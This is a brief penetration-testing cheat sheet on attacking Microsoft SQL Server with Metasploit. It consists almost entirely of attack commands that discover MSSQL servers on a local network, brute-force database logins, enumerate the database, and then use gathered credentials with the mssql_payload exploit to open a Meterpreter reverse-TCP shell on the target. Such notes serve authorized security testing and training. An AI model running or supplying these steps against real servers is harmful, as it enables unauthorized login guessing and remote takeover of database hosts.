AttackingMSSQL

[+] Attacking MSSQL with Metasploit

[>] Enumerate MSSQL Servers on the network:

```
msf > use auxiliary/scanner/mssql/mssql_ping
nmap -sU --script=ms-sql-info 192.168.1.108 192.168.1.156
Discover more servers using "Browse for More" via Microsoft SQL Server Management Studio.
```

[>] Bruteforce MSSQL Database:

```
msf auxiliary(mssql_login) > use auxiliary/scanner/mssql/mssql_login
```

[>] Enumerate MSSQL Database:

```
msf > use auxiliary/admin/mssql/mssql_enum
```

[>] Gain shell using gathered credentials

```
msf > use exploit/windows/mssql/mssql_payload
msf exploit(mssql_payload) > set PAYLOAD windows/meterpreter/reverse_tcp
```